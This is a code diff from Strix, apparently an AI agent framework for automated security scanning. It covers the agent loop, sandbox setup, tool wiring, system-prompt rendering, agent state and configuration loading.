tracer.update_agent_status(self.state.agent_id, "waiting_for_input")
elif task_completed:
tracer.update_agent_status(self.state.agent_id, "completed")
elif error_occurred:
tracer.update_agent_status(self.state.agent_id, "error")
elif was_cancelled:
tracer.update_agent_status(self.state.agent_id, "stopped")
else:
tracer.update_agent_status(self.state.agent_id, "stopped")
if text_response:
return
if task_completed:
self.state.add_message(
"assistant",
"Task completed. I'm now waiting for follow-up instructions or new tasks.",
)
elif error_occurred:
self.state.add_message(
"assistant", "An error occurred. I'm now waiting for new instructions."
)
elif was_cancelled:
self.state.add_message(
"assistant", "Execution was cancelled. I'm now waiting for new instructions."
)
else:
self.state.add_message(
"assistant",
"Execution paused. I'm now waiting for new instructions or any updates.",
)
async def _initialize_sandbox_and_state(self, task: str) -> None:
import os
sandbox_mode = os.getenv("STRIX_SANDBOX_MODE", "false").lower() == "true"
if not sandbox_mode and self.state.sandbox_id is None:
from strix.runtime import get_runtime
try:
runtime = get_runtime()
sandbox_info = await runtime.create_sandbox(
self.state.agent_id, self.state.sandbox_token, self.local_sources
)
self.state.sandbox_id = sandbox_info["workspace_id"]
self.state.sandbox_token = sandbox_info["auth_token"]
self.state.sandbox_info = sandbox_info
if "agent_id" in sandbox_info:
self.state.sandbox_info["agent_id"] = sandbox_info["agent_id"]
caido_port = sandbox_info.get("caido_port")
if caido_port:
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.caido_url = f"localhost:{caido_port}"
except Exception as e:
from strix.telemetry import posthog
posthog.error("sandbox_init_error", str(e))
raise
if not self.state.task:
self.state.task = task
self.state.add_message("user", task)
async def _process_iteration(self, tracer: Optional["Tracer"]) -> bool | None:
final_response = None
async for response in self.llm.generate(self.state.get_conversation_history()):
final_response = response
if tracer and response.content:
tracer.update_streaming_content(self.state.agent_id, response.content)
if final_response is None:
return False
content_stripped = (final_response.content or "").strip()
if not content_stripped:
corrective_message = (
"You MUST NOT respond with empty messages. "
"If you currently have nothing to do or say, use an appropriate tool instead:\n"
"- Use agents_graph_actions.wait_for_message to wait for messages "
"from user or other agents\n"
"- Use agents_graph_actions.agent_finish if you are a sub-agent "
"and your task is complete\n"
"- Use finish_actions.finish_scan if you are the root/main agent "
"and the scan is complete"
)
self.state.add_message("user", corrective_message)
return False
thinking_blocks = getattr(final_response, "thinking_blocks", None)
self.state.add_message("assistant", final_response.content, thinking_blocks=thinking_blocks)
if tracer:
tracer.clear_streaming_content(self.state.agent_id)
tracer.log_chat_message(
content=clean_content(final_response.content),
role="assistant",
agent_id=self.state.agent_id,
)
actions = (
final_response.tool_invocations
if hasattr(final_response, "tool_invocations") and final_response.tool_invocations
else []
)
if actions:
return await self._execute_actions(actions, tracer)
return None
async def _execute_actions(self, actions: list[Any], tracer: Optional["Tracer"]) -> bool:
"""Execute actions and return True if agent should finish."""
for action in actions:
self.state.add_action(action)
conversation_history = self.state.get_conversation_history()
tool_task = asyncio.create_task(
process_tool_invocations(actions, conversation_history, self.state)
)
self._current_task = tool_task
try:
should_agent_finish = await tool_task
self._current_task = None
except asyncio.CancelledError:
self._current_task = None
self.state.add_error("Tool execution cancelled by user")
raise
self.state.messages = conversation_history
if should_agent_finish:
self.state.set_completed({"success": True})
if tracer:
tracer.update_agent_status(self.state.agent_id, "completed")
if not self.interactive and self.state.parent_id is None:
return True
return True
return False
def _check_agent_messages(self, state: AgentState) -> None: # noqa: PLR0912
try:
from strix.tools.agents_graph.agents_graph_actions import _agent_graph, _agent_messages
agent_id = state.agent_id
if not agent_id or agent_id not in _agent_messages:
return
messages = _agent_messages[agent_id]
if messages:
has_new_messages = False
for message in messages:
if not message.get("read", False):
sender_id = message.get("from")
if state.is_waiting_for_input():
if state.llm_failed:
if sender_id == "user":
state.resume_from_waiting()
has_new_messages = True
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.update_agent_status(state.agent_id, "running")
else:
state.resume_from_waiting()
has_new_messages = True
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.update_agent_status(state.agent_id, "running")
if sender_id == "user":
sender_name = "User"
state.add_message("user", message.get("content", ""))
else:
if sender_id and sender_id in _agent_graph.get("nodes", {}):
sender_name = _agent_graph["nodes"][sender_id]["name"]
message_content = f"""<inter_agent_message>
<delivery_notice>
<important>You have received a message from another agent. You should acknowledge
this message and respond appropriately based on its content. However, DO NOT echo
back or repeat the entire message structure in your response. Simply process the
content and respond naturally as/if needed.</important>
</delivery_notice>
<sender>
<agent_name>{sender_name}</agent_name>
<agent_id>{sender_id}</agent_id>
</sender>
<message_metadata>
<type>{message.get("message_type", "information")}</type>
<priority>{message.get("priority", "normal")}</priority>
<timestamp>{message.get("timestamp", "")}</timestamp>
</message_metadata>
<content>
{message.get("content", "")}
</content>
<delivery_info>
<note>This message was delivered during your task execution.
Please acknowledge and respond if needed.</note>
</delivery_info>
</inter_agent_message>"""
state.add_message("user", message_content.strip())
message["read"] = True
if has_new_messages and not state.is_waiting_for_input():
from strix.telemetry.tracer import get_global_tracer
tracer = get_global_tracer()
if tracer:
tracer.update_agent_status(agent_id, "running")
except (AttributeError, KeyError, TypeError) as e:
import logging
logger = logging.getLogger(__name__)
logger.warning(f"Error checking agent messages: {e}")
return
def _handle_sandbox_error(
self,
error: SandboxInitializationError,
tracer: Optional["Tracer"],
) -> dict[str, Any]:
error_msg = str(error.message)
error_details = error.details
self.state.add_error(error_msg)
if not self.interactive:
self.state.set_completed({"success": False, "error": error_msg})
if tracer:
tracer.update_agent_status(self.state.agent_id, "failed", error_msg)
if error_details:
exec_id = tracer.log_tool_execution_start(
self.state.agent_id,
"sandbox_error_details",
{"error": error_msg, "details": error_details},
)
tracer.update_tool_execution(exec_id, "failed", {"details": error_details})
return {"success": False, "error": error_msg, "details": error_details}
self.state.enter_waiting_state()
if tracer:
tracer.update_agent_status(self.state.agent_id, "sandbox_failed", error_msg)
if error_details:
exec_id = tracer.log_tool_execution_start(
self.state.agent_id,
"sandbox_error_details",
{"error": error_msg, "details": error_details},
)
tracer.update_tool_execution(exec_id, "failed", {"details": error_details})
return {"success": False, "error": error_msg, "details": error_details}
def _handle_llm_error(
self,
error: LLMRequestFailedError,
tracer: Optional["Tracer"],
) -> dict[str, Any] | None:
error_msg = str(error)
error_details = getattr(error, "details", None)
self.state.add_error(error_msg)
if not self.interactive:
self.state.set_completed({"success": False, "error": error_msg})
if tracer:
tracer.update_agent_status(self.state.agent_id, "failed", error_msg)
if error_details:
exec_id = tracer.log_tool_execution_start(
self.state.agent_id,
"llm_error_details",
{"error": error_msg, "details": error_details},
)
tracer.update_tool_execution(exec_id, "failed", {"details": error_details})
return {"success": False, "error": error_msg}
self.state.enter_waiting_state(llm_failed=True)
if tracer:
tracer.update_agent_status(self.state.agent_id, "llm_failed", error_msg)
if error_details:
exec_id = tracer.log_tool_execution_start(
self.state.agent_id,
"llm_error_details",
{"error": error_msg, "details": error_details},
)
tracer.update_tool_execution(exec_id, "failed", {"details": error_details})
return None
async def _handle_iteration_error(
self,
error: RuntimeError | ValueError | TypeError | asyncio.CancelledError,
tracer: Optional["Tracer"],
) -> bool:
error_msg = f"Error in iteration {self.state.iteration}: {error!s}"
logger.exception(error_msg)
self.state.add_error(error_msg)
if tracer:
tracer.update_agent_status(self.state.agent_id, "error")
return True
def cancel_current_execution(self) -> None:
self._force_stop = True
if self._current_task and not self._current_task.done():
try:
loop = self._current_task.get_loop()
loop.call_soon_threadsafe(self._current_task.cancel)
except RuntimeError:
self._current_task.cancel()
self._current_task = None
-441
View File
@@ -1,441 +0,0 @@
"""Build SandboxAgents for root + child Strix runs."""
from __future__ import annotations
import inspect
import json
import logging
import re
from typing import TYPE_CHECKING, Any
from agents.agent import ToolsToFinalOutputResult
from agents.sandbox import SandboxAgent
from agents.sandbox.capabilities import Filesystem, Shell
from agents.sandbox.errors import InvalidManifestPathError
from agents.tool import CustomTool, FunctionTool, Tool
from pydantic import ValidationError
from strix.agents.prompt import render_system_prompt
from strix.tools.agents_graph.tools import (
agent_finish,
create_agent,
send_message_to_agent,
stop_agent,
view_agent_graph,
wait_for_message,
)
from strix.tools.finish.tool import finish_scan
from strix.tools.load_skill.tool import load_skill
from strix.tools.notes.tools import (
create_note,
delete_note,
get_note,
list_notes,
update_note,
)
from strix.tools.proxy.tools import (
list_requests,
list_sitemap,
repeat_request,
scope_rules,
view_request,
view_sitemap_entry,
)
from strix.tools.reporting.tool import create_vulnerability_report
from strix.tools.thinking.tool import think
from strix.tools.todo.tools import (
create_todo,
delete_todo,
list_todos,
mark_todo_done,
mark_todo_pending,
update_todo,
)
from strix.tools.web_search.tool import web_search
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from agents import RunContextWrapper
from agents.tool import FunctionToolResult
logger = logging.getLogger(__name__)
_CUSTOM_TOOL_INPUT_FIELD_BY_NAME = {
"apply_patch": "patch",
}
_DEFAULT_CUSTOM_TOOL_INPUT_FIELD = "input"
def _custom_tool_input_field(tool: CustomTool) -> str:
return _CUSTOM_TOOL_INPUT_FIELD_BY_NAME.get(tool.name, _DEFAULT_CUSTOM_TOOL_INPUT_FIELD)
def _raw_input_schema(tool: CustomTool) -> dict[str, Any]:
input_field = _custom_tool_input_field(tool)
return {
"type": "object",
"properties": {
input_field: {
"type": "string",
"description": (
f"Complete `{tool.name}` payload. Follow the tool description exactly."
),
},
},
"required": [input_field],
"additionalProperties": False,
}
def _extract_custom_input(tool: CustomTool, raw_input: str | dict[str, Any]) -> str:
if isinstance(raw_input, str):
try:
parsed = json.loads(raw_input)
except json.JSONDecodeError:
return ""
else:
parsed = raw_input
value = parsed.get(_custom_tool_input_field(tool))
return value if isinstance(value, str) else ""
def _format_tool_error(exc: Exception) -> str:
return str(exc) or exc.__class__.__name__
def _function_tool_with_error_result(tool: FunctionTool) -> FunctionTool:
invoke_tool = tool.on_invoke_tool
async def invoke(ctx: Any, raw_input: str) -> Any:
try:
return await invoke_tool(ctx, raw_input)
except Exception as exc: # noqa: BLE001 - tool errors should be model-visible results.
logger.debug("Tool %s failed; returning error as result", tool.name, exc_info=True)
return _format_tool_error(exc)
tool.on_invoke_tool = invoke
return tool
def _custom_tool_as_function_tool(tool: CustomTool) -> FunctionTool:
async def invoke(ctx: Any, raw_input: str) -> Any:
custom_input = _extract_custom_input(tool, raw_input)
if not custom_input:
return f"`{_custom_tool_input_field(tool)}` must be a non-empty string."
try:
return await tool.on_invoke_tool(ctx, custom_input)
except Exception as exc: # noqa: BLE001 - matches SDK CustomTool error-as-result behavior.
logger.debug("Tool %s failed; returning error as result", tool.name, exc_info=True)
return _format_tool_error(exc)
needs_approval = tool.runtime_needs_approval()
function_needs_approval: bool | Callable[[Any, dict[str, Any], str], Awaitable[bool]]
if callable(needs_approval):
async def approve(ctx: Any, args: dict[str, Any], call_id: str) -> bool:
result = needs_approval(ctx, _extract_custom_input(tool, args), call_id)
if inspect.isawaitable(result):
result = await result
return bool(result)
function_needs_approval = approve
else:
function_needs_approval = needs_approval
return FunctionTool(
name=tool.name,
description=(
f"{tool.description}\n\n"
f"Pass the complete `{tool.name}` payload in `{_custom_tool_input_field(tool)}`."
),
params_json_schema=_raw_input_schema(tool),
on_invoke_tool=invoke,
strict_json_schema=False,
needs_approval=function_needs_approval,
)
def _configure_chat_completions_filesystem_tools(toolset: Any) -> None:
for name, tool in vars(toolset).items():
if isinstance(tool, CustomTool):
setattr(toolset, name, _custom_tool_as_function_tool(tool))
elif isinstance(tool, FunctionTool):
setattr(toolset, name, _function_tool_with_error_result(tool))
_CHARS_ESCAPE_RE = re.compile(r"\\(?:u[0-9a-fA-F]{4}|x[0-9a-fA-F]{2}|[0abtnvfr\\])")
_CHARS_ESCAPE_MAP = {
"\\\\": "\\",
"\\n": "\n",
"\\t": "\t",
"\\r": "\r",
"\\0": "\x00",
"\\a": "\x07",
"\\b": "\x08",
"\\v": "\x0b",
"\\f": "\x0c",
}
def _decode_chars_escape(s: str) -> str:
if "\\" not in s:
return s
def sub(match: re.Match[str]) -> str:
token = match.group(0)
if token in _CHARS_ESCAPE_MAP:
return _CHARS_ESCAPE_MAP[token]
if token.startswith(("\\u", "\\x")):
return chr(int(token[2:], 16))
return token
return _CHARS_ESCAPE_RE.sub(sub, s)
def _format_validation_error(tool_name: str, exc: ValidationError) -> str:
parts: list[str] = []
for err in exc.errors():
loc = ".".join(str(x) for x in err.get("loc", ()))
msg = err.get("msg", "invalid")
parts.append(f"{loc}: {msg}" if loc else msg)
return f"{tool_name}: invalid arguments — " + "; ".join(parts)
def _wrap_exec_command(tool: FunctionTool) -> FunctionTool:
invoke_tool = tool.on_invoke_tool
async def invoke(ctx: Any, raw_input: str) -> Any:
try:
return await invoke_tool(ctx, raw_input)
except ValidationError as exc:
return _format_validation_error(tool.name, exc)
except InvalidManifestPathError as exc:
rel = exc.context.get("rel", "?")
return (
"exec_command: workdir must be a path inside /workspace "
"(or omitted to use the turn's cwd). "
f"Got: {rel!r}."
)
tool.on_invoke_tool = invoke
return tool
def _wrap_write_stdin(tool: FunctionTool) -> FunctionTool:
invoke_tool = tool.on_invoke_tool
async def invoke(ctx: Any, raw_input: str) -> Any:
try:
parsed = json.loads(raw_input)
except json.JSONDecodeError:
parsed = None
if isinstance(parsed, dict) and isinstance(parsed.get("chars"), str):
parsed["chars"] = _decode_chars_escape(parsed["chars"])
raw_input = json.dumps(parsed)
try:
return await invoke_tool(ctx, raw_input)
except ValidationError as exc:
return _format_validation_error(tool.name, exc)
tool.on_invoke_tool = invoke
return tool
def _configure_shell_tools(toolset: Any, *, chat_completions: bool) -> None:
for name, tool in vars(toolset).items():
if not isinstance(tool, FunctionTool):
continue
wrapped = tool
if tool.name == "exec_command":
wrapped = _wrap_exec_command(wrapped)
elif tool.name == "write_stdin":
wrapped = _wrap_write_stdin(wrapped)
if chat_completions:
wrapped = _function_tool_with_error_result(wrapped)
setattr(toolset, name, wrapped)
def _make_shell_configurator(*, chat_completions: bool) -> Any:
def configure(toolset: Any) -> None:
_configure_shell_tools(toolset, chat_completions=chat_completions)
return configure
def _lifecycle_tool_completed(tool_name: str, output: Any) -> bool:
if tool_name == "agent_finish":
completion_key = "agent_completed"
elif tool_name == "finish_scan":
completion_key = "scan_completed"
else:
return False
if not isinstance(output, str):
return False
try:
parsed = json.loads(output)
except (TypeError, ValueError):
return False
return bool(isinstance(parsed, dict) and parsed.get("success") and parsed.get(completion_key))
def _wait_tool_parked(tool_name: str, output: Any) -> bool:
if tool_name != "wait_for_message" or not isinstance(output, str):
return False
try:
parsed = json.loads(output)
except (TypeError, ValueError):
return False
return bool(
isinstance(parsed, dict)
and parsed.get("success")
and parsed.get("wait_outcome") == "waiting"
)
def _finish_tool_use_behavior(
ctx: RunContextWrapper[Any],
tool_results: list[FunctionToolResult],
) -> ToolsToFinalOutputResult:
"""Stop only after a lifecycle tool reports successful completion."""
interactive = (
bool(ctx.context.get("interactive", False)) if isinstance(ctx.context, dict) else False
)
for tool_result in tool_results:
if _lifecycle_tool_completed(tool_result.tool.name, tool_result.output):
return ToolsToFinalOutputResult(
is_final_output=True,
final_output=tool_result.output,
)
if interactive and _wait_tool_parked(tool_result.tool.name, tool_result.output):
return ToolsToFinalOutputResult(
is_final_output=True,
final_output=tool_result.output,
)
return ToolsToFinalOutputResult(is_final_output=False, final_output=None)
_BASE_TOOLS: tuple[Tool, ...] = (
think,
load_skill,
create_todo,
list_todos,
update_todo,
mark_todo_done,
mark_todo_pending,
delete_todo,
create_note,
list_notes,
get_note,
update_note,
delete_note,
web_search,
create_vulnerability_report,
list_requests,
view_request,
repeat_request,
list_sitemap,
view_sitemap_entry,
scope_rules,
view_agent_graph,
send_message_to_agent,
wait_for_message,
create_agent,
stop_agent,
)
def build_strix_agent(
*,
name: str = "strix",
skills: list[str] | None = None,
is_root: bool,
scan_mode: str = "deep",
is_whitebox: bool = False,
interactive: bool = False,
chat_completions_tools: bool = False,
system_prompt_context: dict[str, Any] | None = None,
) -> SandboxAgent[Any]:
"""Build a SandboxAgent for either root or child use.
Args:
chat_completions_tools: Wrap SDK custom tools as function tools
when the selected backend cannot accept Responses custom tools.
"""
instructions = render_system_prompt(
skills=skills,
scan_mode=scan_mode,
is_whitebox=is_whitebox,
is_root=is_root,
interactive=interactive,
system_prompt_context=system_prompt_context,
)
if is_root:
tools: list[Tool] = [*_BASE_TOOLS, finish_scan]
else:
tools = [*_BASE_TOOLS, agent_finish]
logger.info(
"Built %s agent '%s' (skills=%d, tools=%d, scan_mode=%s, whitebox=%s)",
"root" if is_root else "child",
name,
len(skills or []),
len(tools),
scan_mode,
is_whitebox,
)
return SandboxAgent(
name=name,
instructions=instructions,
tools=tools,
tool_use_behavior=_finish_tool_use_behavior,
model=None,
capabilities=[
Filesystem(
configure_tools=(
_configure_chat_completions_filesystem_tools if chat_completions_tools else None
),
),
Shell(
configure_tools=_make_shell_configurator(
chat_completions=chat_completions_tools,
),
),
],
)
def make_child_factory(
*,
scan_mode: str = "deep",
is_whitebox: bool = False,
interactive: bool = False,
chat_completions_tools: bool = False,
system_prompt_context: dict[str, Any] | None = None,
) -> Any:
"""Return the runner-owned builder used by ``spawn_child_agent``.
Run-level arguments (``scan_mode``, ``is_whitebox``, etc.) are
captured in a closure so each child inherits scan-level configuration
without the graph tool knowing about runner internals.
"""
def _factory(*, name: str, skills: list[str]) -> SandboxAgent[Any]:
return build_strix_agent(
name=name,
skills=skills,
is_root=False,
scan_mode=scan_mode,
is_whitebox=is_whitebox,
interactive=interactive,
chat_completions_tools=chat_completions_tools,
system_prompt_context=system_prompt_context,
)
return _factory
-109
View File
@@ -1,109 +0,0 @@
"""Jinja-based system-prompt renderer."""
from __future__ import annotations
import logging
from typing import Any
from jinja2 import Environment, FileSystemLoader, select_autoescape
from strix.skills import get_available_skills, load_skills
from strix.utils.resource_paths import get_strix_resource_path
logger = logging.getLogger(__name__)
_PROMPT_DIRNAME = "prompts"
def _resolve_skills(
*,
requested: list[str] | None,
scan_mode: str = "deep",
is_whitebox: bool = False,
is_root: bool = False,
) -> list[str]:
"""Build the deduped, ordered skills list for the prompt render.
Order:
1. Whatever the caller asked for, in order.
2. ``scan_modes/<mode>`` (always).
3. ``tooling/agent_browser`` (always — every agent has shell + the
agent-browser CLI).
4. ``tooling/python`` (always — Python runs through ``exec_command``;
sandbox scripts can import ``caido_api`` for Caido automation).
5. ``coordination/root_agent`` for the root agent only — orchestration
guidance for delegating to specialist subagents.
6. Whitebox-specific skills if applicable.
"""
ordered: list[str] = list(requested or [])
ordered.append(f"scan_modes/{scan_mode}")
ordered.append("tooling/agent_browser")
ordered.append("tooling/python")
if is_root:
ordered.append("coordination/root_agent")
if is_whitebox:
ordered.append("coordination/source_aware_whitebox")
ordered.append("custom/source_aware_sast")
deduped: list[str] = []
seen: set[str] = set()
for skill in ordered:
if skill and skill not in seen:
deduped.append(skill)
seen.add(skill)
return deduped
def render_system_prompt(
*,
skills: list[str] | None = None,
scan_mode: str = "deep",
is_whitebox: bool = False,
is_root: bool = False,
interactive: bool = False,
system_prompt_context: dict[str, Any] | None = None,
) -> str:
"""Render the system prompt. Returns empty string on template failure."""
try:
prompt_dir = get_strix_resource_path("agents", _PROMPT_DIRNAME)
skills_dir = get_strix_resource_path("skills")
env = Environment(
loader=FileSystemLoader([prompt_dir, skills_dir]),
autoescape=select_autoescape(
enabled_extensions=(),
default_for_string=False,
),
)
skills_to_load = _resolve_skills(
requested=skills,
scan_mode=scan_mode,
is_whitebox=is_whitebox,
is_root=is_root,
)
skill_content = load_skills(skills_to_load)
env.globals["get_skill"] = lambda name: skill_content.get(name, "")
rendered = env.get_template("system_prompt.jinja").render(
loaded_skill_names=list(skill_content.keys()),
available_skills=get_available_skills(),
interactive=interactive,
system_prompt_context=system_prompt_context or {},
**skill_content,
)
except Exception:
logger.exception("render_system_prompt failed; returning empty prompt")
return ""
else:
logger.debug(
"render_system_prompt: scan_mode=%s root=%s whitebox=%s skills=%d prompt_len=%d",
scan_mode,
is_root,
is_whitebox,
len(skill_content),
len(rendered),
)
return str(rendered)
+172
View File
@@ -0,0 +1,172 @@
import uuid
from datetime import UTC, datetime
from typing import Any
from pydantic import BaseModel, Field
def _generate_agent_id() -> str:
return f"agent_{uuid.uuid4().hex[:8]}"
class AgentState(BaseModel):
agent_id: str = Field(default_factory=_generate_agent_id)
agent_name: str = "Strix Agent"
parent_id: str | None = None
sandbox_id: str | None = None
sandbox_token: str | None = None
sandbox_info: dict[str, Any] | None = None
task: str = ""
iteration: int = 0
max_iterations: int = 300
completed: bool = False
stop_requested: bool = False
waiting_for_input: bool = False
llm_failed: bool = False
waiting_start_time: datetime | None = None
waiting_timeout: int = 600
final_result: dict[str, Any] | None = None
max_iterations_warning_sent: bool = False
messages: list[dict[str, Any]] = Field(default_factory=list)
context: dict[str, Any] = Field(default_factory=dict)
start_time: str = Field(default_factory=lambda: datetime.now(UTC).isoformat())
last_updated: str = Field(default_factory=lambda: datetime.now(UTC).isoformat())
actions_taken: list[dict[str, Any]] = Field(default_factory=list)
observations: list[dict[str, Any]] = Field(default_factory=list)
errors: list[str] = Field(default_factory=list)
def increment_iteration(self) -> None:
self.iteration += 1
self.last_updated = datetime.now(UTC).isoformat()
def add_message(
self, role: str, content: Any, thinking_blocks: list[dict[str, Any]] | None = None
) -> None:
message = {"role": role, "content": content}
if thinking_blocks:
message["thinking_blocks"] = thinking_blocks
self.messages.append(message)
self.last_updated = datetime.now(UTC).isoformat()
def add_action(self, action: dict[str, Any]) -> None:
self.actions_taken.append(
{
"iteration": self.iteration,
"timestamp": datetime.now(UTC).isoformat(),
"action": action,
}
)
def add_observation(self, observation: dict[str, Any]) -> None:
self.observations.append(
{
"iteration": self.iteration,
"timestamp": datetime.now(UTC).isoformat(),
"observation": observation,
}
)
def add_error(self, error: str) -> None:
self.errors.append(f"Iteration {self.iteration}: {error}")
self.last_updated = datetime.now(UTC).isoformat()
def update_context(self, key: str, value: Any) -> None:
self.context[key] = value
self.last_updated = datetime.now(UTC).isoformat()
def set_completed(self, final_result: dict[str, Any] | None = None) -> None:
self.completed = True
self.final_result = final_result
self.last_updated = datetime.now(UTC).isoformat()
def request_stop(self) -> None:
self.stop_requested = True
self.last_updated = datetime.now(UTC).isoformat()
def should_stop(self) -> bool:
return self.stop_requested or self.completed or self.has_reached_max_iterations()
def is_waiting_for_input(self) -> bool:
return self.waiting_for_input
def enter_waiting_state(self, llm_failed: bool = False) -> None:
self.waiting_for_input = True
self.waiting_start_time = datetime.now(UTC)
self.llm_failed = llm_failed
self.last_updated = datetime.now(UTC).isoformat()
def resume_from_waiting(self, new_task: str | None = None) -> None:
self.waiting_for_input = False
self.waiting_start_time = None
self.stop_requested = False
self.completed = False
self.llm_failed = False
if new_task:
self.task = new_task
self.last_updated = datetime.now(UTC).isoformat()
def has_reached_max_iterations(self) -> bool:
return self.iteration >= self.max_iterations
def is_approaching_max_iterations(self, threshold: float = 0.85) -> bool:
return self.iteration >= int(self.max_iterations * threshold)
def has_waiting_timeout(self) -> bool:
if self.waiting_timeout == 0:
return False
if not self.waiting_for_input or not self.waiting_start_time:
return False
if (
self.stop_requested
or self.llm_failed
or self.completed
or self.has_reached_max_iterations()
):
return False
elapsed = (datetime.now(UTC) - self.waiting_start_time).total_seconds()
return elapsed > self.waiting_timeout
def has_empty_last_messages(self, count: int = 3) -> bool:
if len(self.messages) < count:
return False
last_messages = self.messages[-count:]
for message in last_messages:
content = message.get("content", "")
if isinstance(content, str) and content.strip():
return False
return True
def get_conversation_history(self) -> list[dict[str, Any]]:
return self.messages
def get_execution_summary(self) -> dict[str, Any]:
return {
"agent_id": self.agent_id,
"agent_name": self.agent_name,
"parent_id": self.parent_id,
"sandbox_id": self.sandbox_id,
"sandbox_info": self.sandbox_info,
"task": self.task,
"iteration": self.iteration,
"max_iterations": self.max_iterations,
"completed": self.completed,
"final_result": self.final_result,
"start_time": self.start_time,
"last_updated": self.last_updated,
"total_actions": len(self.actions_taken),
"total_observations": len(self.observations),
"total_errors": len(self.errors),
"has_errors": len(self.errors) > 0,
"max_iterations_reached": self.has_reached_max_iterations() and not self.completed,
}
+7 -32
View File
@@ -1,37 +1,12 @@
"""Strix application settings.
Public surface:
- :class:`Settings` — composite model. Get via :func:`load_settings`.
- :class:`LlmSettings`, :class:`RuntimeSettings`, :class:`TelemetrySettings`,
:class:`IntegrationSettings` — sub-models, attribute-accessed off
``Settings``.
- :func:`load_settings` — memoized resolve (env > JSON file > defaults).
- :func:`apply_config_override` — switch the JSON source to a custom path.
- :func:`persist_current` — write currently-set env vars to the active file.
"""
from strix.config.loader import (
apply_config_override,
load_settings,
persist_current,
)
from strix.config.settings import (
IntegrationSettings,
LlmSettings,
RuntimeSettings,
Settings,
TelemetrySettings,
from strix.config.config import (
Config,
apply_saved_config,
save_current_config,
)
__all__ = [
"IntegrationSettings",
"LlmSettings",
"RuntimeSettings",
"Settings",
"TelemetrySettings",
"apply_config_override",
"load_settings",
"persist_current",
"Config",
"apply_saved_config",
"save_current_config",
]
+215
View File
@@ -0,0 +1,215 @@
import contextlib
import json
import os
from pathlib import Path
from typing import Any
STRIX_API_BASE = "https://models.strix.ai/api/v1"
class Config:
"""Configuration Manager for Strix."""
# LLM Configuration
strix_llm = None
llm_api_key = None
llm_api_base = None
openai_api_base = None
litellm_base_url = None
ollama_api_base = None
strix_reasoning_effort = "high"
strix_llm_max_retries = "5"
strix_memory_compressor_timeout = "30"
llm_timeout = "300"
_LLM_CANONICAL_NAMES = (
"strix_llm",
"llm_api_key",
"llm_api_base",
"openai_api_base",
"litellm_base_url",
"ollama_api_base",
"strix_reasoning_effort",
"strix_llm_max_retries",
"strix_memory_compressor_timeout",
"llm_timeout",
)
# Tool & Feature Configuration
perplexity_api_key = None
strix_disable_browser = "false"
# Runtime Configuration
strix_image = "ghcr.io/usestrix/strix-sandbox:0.1.13"
strix_runtime_backend = "docker"
strix_sandbox_execution_timeout = "120"
strix_sandbox_connect_timeout = "10"
# Telemetry
strix_telemetry = "1"
strix_otel_telemetry = None
strix_posthog_telemetry = None
traceloop_base_url = None
traceloop_api_key = None
traceloop_headers = None
# Config file override (set via --config CLI arg)
_config_file_override: Path | None = None
@classmethod
def _tracked_names(cls) -> list[str]:
return [
k
for k, v in vars(cls).items()
if not k.startswith("_") and k[0].islower() and (v is None or isinstance(v, str))
]
@classmethod
def tracked_vars(cls) -> list[str]:
return [name.upper() for name in cls._tracked_names()]
@classmethod
def _llm_env_vars(cls) -> set[str]:
return {name.upper() for name in cls._LLM_CANONICAL_NAMES}
@classmethod
def _llm_env_changed(cls, saved_env: dict[str, Any]) -> bool:
for var_name in cls._llm_env_vars():
current = os.getenv(var_name)
if current is None:
continue
if saved_env.get(var_name) != current:
return True
return False
@classmethod
def get(cls, name: str) -> str | None:
env_name = name.upper()
default = getattr(cls, name, None)
return os.getenv(env_name, default)
@classmethod
def config_dir(cls) -> Path:
return Path.home() / ".strix"
@classmethod
def config_file(cls) -> Path:
if cls._config_file_override is not None:
return cls._config_file_override
return cls.config_dir() / "cli-config.json"
@classmethod
def load(cls) -> dict[str, Any]:
path = cls.config_file()
if not path.exists():
return {}
try:
with path.open("r", encoding="utf-8") as f:
data: dict[str, Any] = json.load(f)
return data
except (json.JSONDecodeError, OSError):
return {}
@classmethod
def save(cls, config: dict[str, Any]) -> bool:
try:
cls.config_dir().mkdir(parents=True, exist_ok=True)
config_path = cls.config_dir() / "cli-config.json"
with config_path.open("w", encoding="utf-8") as f:
json.dump(config, f, indent=2)
except OSError:
return False
with contextlib.suppress(OSError):
config_path.chmod(0o600) # may fail on Windows
return True
@classmethod
def apply_saved(cls, force: bool = False) -> dict[str, str]:
saved = cls.load()
env_vars = saved.get("env", {})
if not isinstance(env_vars, dict):
env_vars = {}
cleared_vars = {
var_name
for var_name in cls.tracked_vars()
if var_name in os.environ and os.environ.get(var_name) == ""
}
if cleared_vars:
for var_name in cleared_vars:
env_vars.pop(var_name, None)
if cls._config_file_override is None:
cls.save({"env": env_vars})
if cls._llm_env_changed(env_vars):
for var_name in cls._llm_env_vars():
env_vars.pop(var_name, None)
if cls._config_file_override is None:
cls.save({"env": env_vars})
applied = {}
for var_name, var_value in env_vars.items():
if var_name in cls.tracked_vars() and (force or var_name not in os.environ):
os.environ[var_name] = var_value
applied[var_name] = var_value
return applied
@classmethod
def capture_current(cls) -> dict[str, Any]:
env_vars = {}
for var_name in cls.tracked_vars():
value = os.getenv(var_name)
if value:
env_vars[var_name] = value
return {"env": env_vars}
@classmethod
def save_current(cls) -> bool:
existing = cls.load().get("env", {})
merged = dict(existing)
for var_name in cls.tracked_vars():
value = os.getenv(var_name)
if value is None:
pass
elif value == "":
merged.pop(var_name, None)
else:
merged[var_name] = value
return cls.save({"env": merged})
def apply_saved_config(force: bool = False) -> dict[str, str]:
return Config.apply_saved(force=force)
def save_current_config() -> bool:
return Config.save_current()
def resolve_llm_config() -> tuple[str | None, str | None, str | None]:
"""Resolve LLM model, api_key, and api_base based on STRIX_LLM prefix.
Returns:
tuple: (model_name, api_key, api_base)
- model_name: Original model name (strix/ prefix preserved for display)
- api_key: LLM API key
- api_base: API base URL (auto-set to STRIX_API_BASE for strix/ models)
"""
model = Config.get("strix_llm")
if not model:
return None, None, None
api_key = Config.get("llm_api_key")
if model.startswith("strix/"):
api_base: str | None = STRIX_API_BASE
else:
api_base = (
Config.get("llm_api_base")
or Config.get("openai_api_base")
or Config.get("litellm_base_url")
or Config.get("ollama_api_base")
)
return model, api_key, api_base
-126
View File
@@ -1,126 +0,0 @@
"""Settings loader, override switch, and disk persistence."""
from __future__ import annotations
import contextlib
import json
import logging
import os
